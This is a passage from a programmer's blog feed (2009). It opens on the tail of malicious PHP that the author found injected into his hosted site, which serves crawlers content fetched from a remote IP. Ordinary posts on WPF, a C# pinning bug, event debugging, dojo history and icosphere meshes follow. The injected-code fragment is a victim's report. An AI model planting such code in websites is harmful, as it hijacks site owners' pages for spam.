= fread($f, 1024)) $r .= $l;&lt;br /&gt;  @fclose($f);&lt;br /&gt;  $p=strpos($r,&quot;\r\n\r\n&quot;); echo substr($r,$p+4);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I do not know much about PHP, but it seems that requests from search engine crawlers get special treatment and additional content is added to the page which is retrieved from the IP address 91.207.4.18. I guess the purpose is to add links to other sites to increase their page rank.&lt;br /&gt;At least for my php sites this did not work however. The code addition invalided the files, presenting an error to the user for all requests.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Not sure how the hack was done. The media temple email suggested to change the ftp/ssh passwords. But I doubt that these passwords were compromised, because it seems that I am not the only one at media temple having the problem:&lt;br /&gt;&lt;a href=&quot;http://blog.tinyenormous.com/2009/11/17/site-hacked-media-temples-reaction/&quot;&gt;http://blog.tinyenormous.com/2009/11/17/site-hacked-media-temples-reaction/&lt;/a&gt;&lt;br /&gt;Let&#39;s wait what media temple has to say about this.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update 27-Nov-2009:&lt;/b&gt; Media temple published some information on how the hack was done. Seems that the attacker got hold of passwords which have been stored as clear text. Read more about this &lt;a href=&quot;http://bit.ly/4A2loF&quot;&gt;in the media temple FAQ for this issue&lt;/a&gt;. There is also a &lt;a href=&quot;http://bit.ly/5Xr80f&quot;&gt;how-to for fixing hacked accounts&lt;/a&gt;.</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/11/my-media-temple-hosted-web-site-got.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/1072382520514326354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/1072382520514326354'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/11/my-media-temple-hosted-web-site-got.html' title='My media temple hosted web site got hacked'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-226781765178039979</id><published>2009-11-18T08:04:00.000-08:00</published><updated>2009-11-18T09:05:42.479-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="WPF"/><category scheme="http://www.blogger.com/atom/ns#" term="xaml"/><title type='text'>WPF: How to set HorizontalAlignment in ListView/GridView</title><content type='html'>I spent quite some time figuring out how to set the HorizontalAlignment property for a cell in a WPF ListView/GridView. I wanted to set it to &quot;Stretch&quot; so that their content can nicely fill the whole cell, even when the columns are resized. It is not hard to do, it is just a few lines of XAML, but you have to know how.&lt;br /&gt;&lt;pre class=&quot;brush: xml&quot;&gt;&lt;br /&gt;&amp;lt;ListView&amp;gt;&lt;br /&gt;&lt;br /&gt;    &amp;lt;ListView.ItemContainerStyle&amp;gt;&lt;br /&gt;        &amp;lt;Style TargetType=&amp;quot;ListViewItem&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;Setter Property=&amp;quot;HorizontalContentAlignment&amp;quot; Value=&amp;quot;Stretch&amp;quot; /&amp;gt;&lt;br /&gt;        &amp;lt;/Style&amp;gt;&lt;br /&gt;    &amp;lt;/ListView.ItemContainerStyle&amp;gt;&lt;br /&gt;    ...&lt;br /&gt;&amp;lt;/ListView&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Same is probably also true for VerticalAlignment, but I haven&#39;t tried it.</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/11/wpf-how-to-set-horizontalalignment-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/226781765178039979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/226781765178039979'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/11/wpf-how-to-set-horizontalalignment-in.html' title='WPF: How to set HorizontalAlignment in ListView/GridView'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-6976315872611308209</id><published>2009-11-12T01:05:00.000-08:00</published><updated>2009-11-12T01:51:46.994-08:00</updated><title type='text'>C#&#39;s fixed statement doesn&#39;t work with delegates!?</title><content type='html'>I recently ran into an issue with using the C# fixed statement in conjunction with delegates. Let&#39;s look at a small example:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;unsafe byte testA()&lt;br /&gt;{&lt;br /&gt;    var array = new byte[1];&lt;br /&gt;    fixed (byte* p = array)&lt;br /&gt;    {&lt;br /&gt;        *p = 22;&lt;br /&gt;    }&lt;br /&gt;    return array[0];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This (rather ridiculous) method should return 22. In fact, it does. &lt;br /&gt;But look at a small variation:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;unsafe byte testB()&lt;br /&gt;{&lt;br /&gt;    var array = new byte[1];&lt;br /&gt;    fixed (byte* p = array)&lt;br /&gt;    {&lt;br /&gt;        Action action = delegate { *p = 22; };&lt;br /&gt;        action();&lt;br /&gt;    }&lt;br /&gt;    return array[0];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This should do the same thing, the difference is that the fixed pointer p is accessed inside a delegate. The action is executed synchronously inside the fixed scope, so everything should be be fine.&lt;br /&gt;&lt;br /&gt;But it turns out that it is NOT!&lt;br /&gt;When you compile it (I&#39;m using VS2008 SP1 and .NET 3.5 SP1) and look at the compiled version of the method, it looks like this (disassembled using Reflector):&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;private unsafe byte testB()&lt;br /&gt;{&lt;br /&gt;    byte[] CS$0$0001;&lt;br /&gt;    byte[] array = new byte[1];&lt;br /&gt;    byte* p;&lt;br /&gt;    if (((CS$0$0001 = array) == null) || (CS$0$0001.Length == 0))&lt;br /&gt;    {&lt;br /&gt;        p = null;&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;        p = CS$0$0001;&lt;br /&gt;    }&lt;br /&gt;    Action action = delegate {&lt;br /&gt;        p[0] = 0x16;&lt;br /&gt;    };&lt;br /&gt;    action();&lt;br /&gt;    p = null;&lt;br /&gt;    return array[0];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I don&#39;t know what this CS$0$0001 is about, but that&#39;s secondary. &lt;br /&gt;The importing thing is: &lt;b&gt;there&#39;s no fixed statement!!!&lt;/b&gt;&lt;br /&gt;Without the fixed statement the array can be moved in memory any time, and therefore the unsafe code can fail!&lt;br /&gt;It looks like that the C# compiler think it can optimize away the fixed statement. For some reason it doesn&#39;t take the usage of p in the delegate into account. Of course, one could execute the delegate outside the scope of the fixed statement. The compiler doesn&#39;t have a chance to prolong the lifetime of the pinned pointer until then. But this is not the case here.&lt;br /&gt;&lt;br /&gt;This is not a theoretical problem. We ran into this in a real-world application.&lt;br /&gt;Here&#39;s a small test program that illustrates that:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;static unsafe byte test()&lt;br /&gt;{&lt;br /&gt;    var array = new byte[1];&lt;br /&gt;&lt;br /&gt;    fixed (byte* p = array)&lt;br /&gt;    {&lt;br /&gt;        Action action = delegate { *p = 22; };&lt;br /&gt;        Thread.Sleep(10);&lt;br /&gt;        action();&lt;br /&gt;    }&lt;br /&gt;    return array[0];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static void Main()&lt;br /&gt;{&lt;br /&gt;    for (int i = 0; i &amp;lt; 10000; i++)&lt;br /&gt;    {&lt;br /&gt;        if (22 != test())&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&quot;Run #{0} failed!&quot;, i);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This code runs our example code 10,000 times. I added a Sleep() call in my test method to make the problem more likely. On my machine the error occurs usually after around 3500 runs.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.mountainwerks.org/deathstarplayset/&quot;&gt;Michael Stanton&lt;/a&gt;, who helped my track down this issue, has &lt;a href=&quot;http://www.mountainwerks.org/deathstarplayset/2009/11/fixed-statement-not-what-you-expect-or.html&quot;&gt;more in-depth info&lt;/a&gt; about it.&lt;br /&gt;&lt;br /&gt;If you looking for a fix, there is an easy work-around (if you really need both unsafe code and the delegate). You can pin your memory manually without using the fixed statement. Then you have full control over its life-time.&lt;br /&gt;For our example this would be:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;unsafe byte testFixed()&lt;br /&gt;{&lt;br /&gt;    var array = new byte[1];&lt;br /&gt;&lt;br /&gt;    GCHandle handle = GCHandle.Alloc(array, GCHandleType.Pinned);&lt;br /&gt;    byte* p = (byte*)handle.AddrOfPinnedObject();&lt;br /&gt;    try&lt;br /&gt;    {&lt;br /&gt;        Action action = delegate { *p = 22; };&lt;br /&gt;        action();&lt;br /&gt;    }&lt;br /&gt;    finally&lt;br /&gt;    {&lt;br /&gt;        handle.Free();&lt;br /&gt;    }&lt;br /&gt;    return array[0];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/11/cs-fixed-statement-doesnt-work-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/6976315872611308209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/6976315872611308209'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/11/cs-fixed-statement-doesnt-work-with.html' title='C#&#39;s fixed statement doesn&#39;t work with delegates!?'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-5520248268938725916</id><published>2009-11-02T08:24:00.000-08:00</published><updated>2009-11-02T14:43:00.504-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><title type='text'>Debugging event subscriptions in C#/.NET</title><content type='html'>Recently I had to debug a problem around events. I wanted to find out which objects are subscribing to a certain event and when. As there is no code in the class that handles the event subscription, you cannot set a breakpoint there. Too bad...&lt;br /&gt;&lt;br /&gt;But there&#39;s a simple way out of this. Let&#39;s assume you have a class like this:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;class Test : INotifyPropertyChanged&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    public event PropertyChangedEventHandler PropertyChanged = delegate { };&lt;br /&gt;&lt;br /&gt;    void FirePropertyChanged(string property)&lt;br /&gt;    {&lt;br /&gt;        PropertyChanged(this, new PropertyChangedEventArgs(property));&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;You can add a &quot;custom event implementation&quot; that forwards all event subscriptions and un-subscriptions to a private event, similar to a property that uses a private field to store its value:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;class Test : INotifyPropertyChanged&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    private event PropertyChangedEventHandler propertyChangedImpl = delegate { };&lt;br /&gt;    public event PropertyChangedEventHandler PropertyChanged&lt;br /&gt;    {&lt;br /&gt;        add { this.propertyChangedImpl += value; }&lt;br /&gt;        remove { this.propertyChangedImpl -= value; }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    void FirePropertyChanged(string property)&lt;br /&gt;    {&lt;br /&gt;        this.propertyChangedImpl(this, new PropertyChangedEventArgs(property));&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The you can simply set the breakpoint to the &lt;b&gt;add&lt;/b&gt; method and see exactly where and when these event registrations happen.</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/11/debugging-event-subsciptions-in-cnet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/5520248268938725916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/5520248268938725916'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/11/debugging-event-subsciptions-in-cnet.html' title='Debugging event subscriptions in C#/.NET'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-3766974900925755565</id><published>2009-09-14T03:04:00.000-07:00</published><updated>2009-09-16T00:21:08.987-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dojo"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>Managing the browser history for AJAX apps with dojo</title><content type='html'>AJAX web application (or any web app using client side scripting to modify the page) suffer from the &quot;Back button problem&quot;: Users are used to hit the browser back button to return to a previous page, but there are no &quot;pages&quot; to go to in a AJAX app. Instead users will be taken to the page they visited before navigating to your web app - and probably lose all the state changes done in the app.&lt;br /&gt;&lt;br /&gt;Fortunately there are some libraries out there that come to the rescue. I&#39;ll present a very simple example using &lt;a href=&quot;http://www.dojotoolkit.org/&quot; target=&quot;_blank&quot;&gt;dojo&lt;/a&gt;, which should get you started quickly.&lt;br /&gt;&lt;br /&gt;For the example I chose a simple javascript app which converts inches into centimeters. For every new conversion there is a new entry stored in the browser history. Without history support the code looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: html&quot;&gt;&lt;br /&gt;&amp;lt;form&amp;gt;&lt;br /&gt; &amp;lt;input id=&amp;quot;idInches&amp;quot; type=&amp;quot;text&amp;quot;&amp;gt;&amp;lt;/input&amp;gt; inches&lt;br /&gt; &amp;lt;button onclick=&amp;quot;onConvert(); return false;&amp;quot;&amp;gt;Convert&amp;lt;/button&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;div id=&amp;quot;idOutput&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script language=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;function onConvert()&lt;br /&gt;{&lt;br /&gt;  var input = document.getElementById(&#39;idInches&#39;).value;&lt;br /&gt;  convert(input);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function convert(input)&lt;br /&gt;{&lt;br /&gt;  var cm = 2.54 * input;&lt;br /&gt;  var msg = (input==null || input==&amp;quot;&amp;quot;) ? &lt;br /&gt;    &amp;quot;&amp;quot; : (input + &amp;quot; inches = &amp;quot; + cm + &amp;quot; centimeters&amp;quot;);&lt;br /&gt;  document.getElementById(&amp;quot;idOutput&amp;quot;).innerHTML = msg;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Nothing unusual with that.&lt;br /&gt;To enable the browser history we first add a function to restore a previous state. In our case we just restore the value of the input box and recalculate the result.&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: javascript&quot;&gt;&lt;br /&gt;function restore(input)&lt;br /&gt;{&lt;br /&gt;  document.getElementById(&#39;idInches&#39;).value = input;&lt;br /&gt;  convert(input);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Next we define a class which can store our state and restore it. It implements functions/properties that dojo will use:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: javascript&quot;&gt;&lt;br /&gt;function HistoryState(state)&lt;br /&gt;{&lt;br /&gt;    this.state = state;&lt;br /&gt;    this.restoreState = function() { &lt;br /&gt;        restore(this.state); &lt;br /&gt;    };&lt;br /&gt;    // back, forward and changeUrl are needed by dojo&lt;br /&gt;    this.back = this.restoreState;&lt;br /&gt;    this.forward = this.restoreState;&lt;br /&gt;    this.changeUrl = true;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Then we add dojo and dojo.back, which includes the functionality for managing the browser history. First the dojo include (see details &lt;a href=&quot;http://www.dojotoolkit.org/book/dojo-book-0-9/part-3-programmatic-dijit-and-dojo/back-button/adding-your-page&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;):&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: html&quot;&gt;&lt;br /&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;  src=&amp;quot;dojo.js&amp;quot;&lt;br /&gt;    djConfig=&amp;quot;preventBackButtonFix: false&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Load and initialize dojo.back:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: javascript&quot;&gt;&lt;br /&gt;dojo.require(&quot;dojo.back&quot;);&lt;br /&gt;dojo.back.init();&lt;br /&gt;dojo.back.setInitialState(new HistoryState(&quot;&quot;));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The last line of this sets the state the page initially has. In our example the input text field is empty initially, so we just pass an empty string.&lt;br /&gt;&lt;br /&gt;Now the only thing missing is to tell dojo when we reached a new state. We do this every time the convert button is pressed, so we add the following to onConvert:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: javascript&quot;&gt;&lt;br /&gt;dojo.back.addToHistory(new HistoryState(input));&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That&#39;s it! &lt;b&gt;See the example live &lt;a href=&quot;http://andreaskahler.com/blogfiles/misc/dojohistory&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;/b&gt;. Convert a few different values and then try the back/forward buttons of you browser.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note:&lt;/b&gt; When trying yourself, always use a web server! Some things do not work when opening the file directly from the file system.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note 2:&lt;/b&gt; You do not need all of dojo if you only want dojo.back. At the time of writing (dojo 1.3.2) only dojo.js, back.js and resources/iframe_history.html are needed.&lt;br /&gt;&lt;br /&gt;&lt;br/&gt;</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/09/managing-browser-history-for-ajax-apps.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/3766974900925755565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/3766974900925755565'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/09/managing-browser-history-for-ajax-apps.html' title='Managing the browser history for AJAX apps with dojo'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-656100805557647014</id><published>2009-06-20T13:09:00.000-07:00</published><updated>2011-12-22T09:22:32.381-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="3D"/><category scheme="http://www.blogger.com/atom/ns#" term="algorithm"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><category scheme="http://www.blogger.com/atom/ns#" term="graphics"/><category scheme="http://www.blogger.com/atom/ns#" term="WPF"/><category scheme="http://www.blogger.com/atom/ns#" term="xaml"/><title type='text'>Creating an icosphere mesh in code</title><content type='html'>When you look at 3d modeling software like &lt;a href=&quot;http://www.blender.org/&quot;&gt;Blender&lt;/a&gt;, you will notice that there are usually two different sphere meshes available to choose from: UVSphere and IcoSphere.&lt;br /&gt;&lt;br /&gt;&lt;img style=&quot;width: 200px; height: 94px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm6NbLkXV6dsmRgLZJbCxa0kUCjSZKS6ATFBHUanD5JxFe4nevpFKeVRDt2to5nhTjmylzwD_4OJZ-AVHjM9zZpX3VxKKrF8eXwfNQcAC3XAn13xjum9CdR6WiTHJbEUEoxdnvFmxUN3o/s320/spheretypes.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5349507226184513234&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;&lt;br /&gt;The UVSphere looks like a globe. For many purposes it is perfectly fine, but for some use cases, e.g. if you want to deform the sphere, it is disadvantageous that the density of vertices is greater around the poles. Here the icosphere is better, its vertices are distributed evenly.&lt;br /&gt;Icospheres are a type of &lt;a href=&quot;http://en.wikipedia.org/wiki/Geodesic_domes&quot;&gt;geodesic dome&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So I want to create a icosphere programmatically. Its base is an &lt;a href=&quot;http://en.wikipedia.org/wiki/Icosahedron&quot;&gt;icosahedron&lt;/a&gt; (I guess this is where the ico in the name comes from), a regular polyhedron with 20 equilateral triangles.&lt;br /&gt;An icosphere is then created by splitting each triangle into 4 smaller triangles. This can be done several times, the recursion level is a parameter to the icosphere.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size:130%;&quot;&gt;Creating an Icosahedron&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Icosahedron&quot;&gt;Wikipedia&lt;/a&gt; has a nice image that shows that the vertices of an icosahedron are the corners of three orthogonal rectangles:&lt;br /&gt;&lt;br /&gt;&lt;img style=&quot;width: 196px; height: 178px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHSPJKiYcEt-VyapD5OKjxlkdIH5iGWGhUGKmPg3fh_Wv8VQI2I2sUySoNAsAcLV8g5yhPQVs2kER23zuscotGu-98VNu7yiYIyoxefmJbdLJm7oopVniOu6ZSjvxA4BVCX_kAPOvtT1M/s400/icorects.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5349524713494344354&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;&lt;span style=&quot;font-size:78%;&quot;&gt;(source: Wikipedia)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With this the vertex creation is pretty straight-forward:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;// create 12 vertices of a icosahedron&lt;br /&gt;var t = (1.0 + Math.Sqrt(5.0)) / 2.0;&lt;br /&gt;&lt;br /&gt;addVertex(new Point3D(-1,  t,  0));&lt;br /&gt;addVertex(new Point3D( 1,  t,  0));&lt;br /&gt;addVertex(new Point3D(-1, -t,  0));&lt;br /&gt;addVertex(new Point3D( 1, -t,  0));&lt;br /&gt;&lt;br /&gt;addVertex(new Point3D( 0, -1,  t));&lt;br /&gt;addVertex(new Point3D( 0,  1,  t));&lt;br /&gt;addVertex(new Point3D( 0, -1, -t));&lt;br /&gt;addVertex(new Point3D( 0,  1, -t));&lt;br /&gt;&lt;br /&gt;addVertex(new Point3D( t,  0, -1));&lt;br /&gt;addVertex(new Point3D( t,  0,  1));&lt;br /&gt;addVertex(new Point3D(-t,  0, -1));&lt;br /&gt;addVertex(new Point3D(-t,  0,  1));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To build the triangles, I have numbered the vertices in the order I used in the piece of code above:&lt;br /&gt;&lt;br /&gt;&lt;img style=&quot;width: 229px; height: 200px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeoba7owQp2GyWv4eYHSZYGeTEwh_IO-SckiFdBBTow_wteJZIYVgWoLQPW4EXHBUWSURL-BhiJhluQygphH8ctMDbQjTiaT8Ys2s4L5IHUQsD3BQZsH-nKv4P_wk0IiFJPPqA9LLL-AY/s400/icopoints.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5349526618011386642&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;&lt;br /&gt;All triangles must have their vertices in the same order, I used counter-clockwise direction. Now it is just a matter of carefully looking at the diagram:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;// create 20 triangles of the icosahedron&lt;br /&gt;var faces = new List&amp;lt;TriangleIndices&amp;gt;();&lt;br /&gt;&lt;br /&gt;// 5 faces around point 0&lt;br /&gt;faces.Add(new TriangleIndices(0, 11, 5));&lt;br /&gt;faces.Add(new TriangleIndices(0, 5, 1));&lt;br /&gt;faces.Add(new TriangleIndices(0, 1, 7));&lt;br /&gt;faces.Add(new TriangleIndices(0, 7, 10));&lt;br /&gt;faces.Add(new TriangleIndices(0, 10, 11));&lt;br /&gt;&lt;br /&gt;// 5 adjacent faces&lt;br /&gt;faces.Add(new TriangleIndices(1, 5, 9));&lt;br /&gt;faces.Add(new TriangleIndices(5, 11, 4));&lt;br /&gt;faces.Add(new TriangleIndices(11, 10, 2));&lt;br /&gt;faces.Add(new TriangleIndices(10, 7, 6));&lt;br /&gt;faces.Add(new TriangleIndices(7, 1, 8));&lt;br /&gt;&lt;br /&gt;// 5 faces around point 3&lt;br /&gt;faces.Add(new TriangleIndices(3, 9, 4));&lt;br /&gt;faces.Add(new TriangleIndices(3, 4, 2));&lt;br /&gt;faces.Add(new TriangleIndices(3, 2, 6));&lt;br /&gt;faces.Add(new TriangleIndices(3, 6, 8));&lt;br /&gt;faces.Add(new TriangleIndices(3, 8, 9));&lt;br /&gt;&lt;br /&gt;// 5 adjacent faces&lt;br /&gt;faces.Add(new TriangleIndices(4, 9, 5));&lt;br /&gt;faces.Add(new TriangleIndices(2, 4, 11));&lt;br /&gt;faces.Add(new TriangleIndices(6, 2, 10));&lt;br /&gt;faces.Add(new TriangleIndices(8, 6, 7));&lt;br /&gt;faces.Add(new TriangleIndices(9, 8, 1));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style=&quot;font-size:130%;&quot;&gt;Refining to an Icosphere&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Now we need to refine the triangles to create an icosphere from it. Each edge of the triangle is split in half, one triangle is formed by the three points sitting in the middle of these edges and three triangles surrounding it:&lt;br /&gt;&lt;br /&gt;&lt;img style=&quot;width: 400px; height: 157px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMXGiBj92tDbrKopoR6BEBU-4BfO8BVxOO2yLCmY6EIm9Bjalhe8kUypJ14xN6bcwFuV7IsTbyKY0CtyuoKq7nc1vTk_z-WkFUOrTTn0EZ0EbJel4AQnPPaVKTzbTbCIgQxYvZ-4LY-rE/s400/icorefine.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5349531842482945042&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;// refine triangles&lt;br /&gt;for (int i = 0; i &amp;lt; recursionLevel; i++)&lt;br /&gt;{&lt;br /&gt;  var faces2 = new List&amp;lt;TriangleIndices&amp;gt;();&lt;br /&gt;  foreach (var tri in faces)&lt;br /&gt;  {&lt;br /&gt;      // replace triangle by 4 